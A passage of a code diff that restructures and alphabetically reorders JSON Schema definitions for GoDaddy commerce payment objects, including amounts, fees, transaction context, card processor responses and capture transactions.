"signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ - "sourceType" - ] - }, - "paymentContext": { + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", "description": "Payment Context details", "properties": { "channelId": { "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", "example": "id", - "readOnly": true + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" }, "merchantInitiatedTransaction": { - "type": "boolean", "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" }, - "authorizations": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Authorization Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents capture transaction against a payment", + "properties": { + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "title": "Capture Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + }, + "responses": { + "201": { + "description": "Capture payment completed successfully", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/capture.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "required": [ - "processorType" - ] + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + 